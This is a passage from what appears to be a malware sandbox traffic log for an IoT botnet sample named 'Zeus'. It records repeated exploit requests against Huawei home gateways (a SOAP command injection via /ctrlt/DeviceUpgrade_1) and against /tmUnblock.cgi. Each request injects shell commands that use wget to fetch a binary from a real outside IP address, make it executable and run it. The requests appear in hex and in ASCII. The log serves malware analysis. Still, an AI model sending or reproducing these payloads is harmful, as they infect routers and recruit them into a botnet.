-r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 